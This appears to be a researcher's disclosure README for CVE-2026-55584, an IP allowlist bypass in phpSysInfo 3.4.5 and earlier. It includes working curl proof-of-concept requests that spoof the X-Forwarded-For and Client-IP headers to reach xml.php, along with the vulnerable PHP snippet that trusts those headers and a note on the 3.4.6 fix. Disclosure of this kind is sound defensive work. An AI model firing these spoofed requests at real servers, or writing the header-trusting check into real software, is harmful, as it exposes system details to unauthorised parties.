mirackayikci/cve-2026-55584CVE-2026-55584 — phpSysInfo IP Allowlist Bypass
CWE-290, CVSS 7.5 (High), phpSysInfo <= 3.4.5
Refs: GHSA-786w-p5pm-cvgh, CVE.org
PSI_ALLOWED resolves the client IP from the attacker-controlled X-Forwarded-For (then Client-IP) headers before falling back to REMOTE_ADDR. There is no trusted-proxy concept, so spoofing an allowed IP defeats the allowlist and exposes full system info via xml.php.
PoC:
# allowlist set to an address the attacker doesn't own (ALLOWED=8.8.8.8)
curl -s http://target/xml.php # "Client IP address (...) not allowed."
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # bypass, full XML
curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php # bypass, full XML
Vulnerable code (read_config.php):
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last
}
Fixed 3.4.6 (019fa2d): default to REMOTE_ADDR; honor X-Forwarded-For / Client-IP only from configured trusted proxies.
Reported by Muhammed Mirac Kayıkci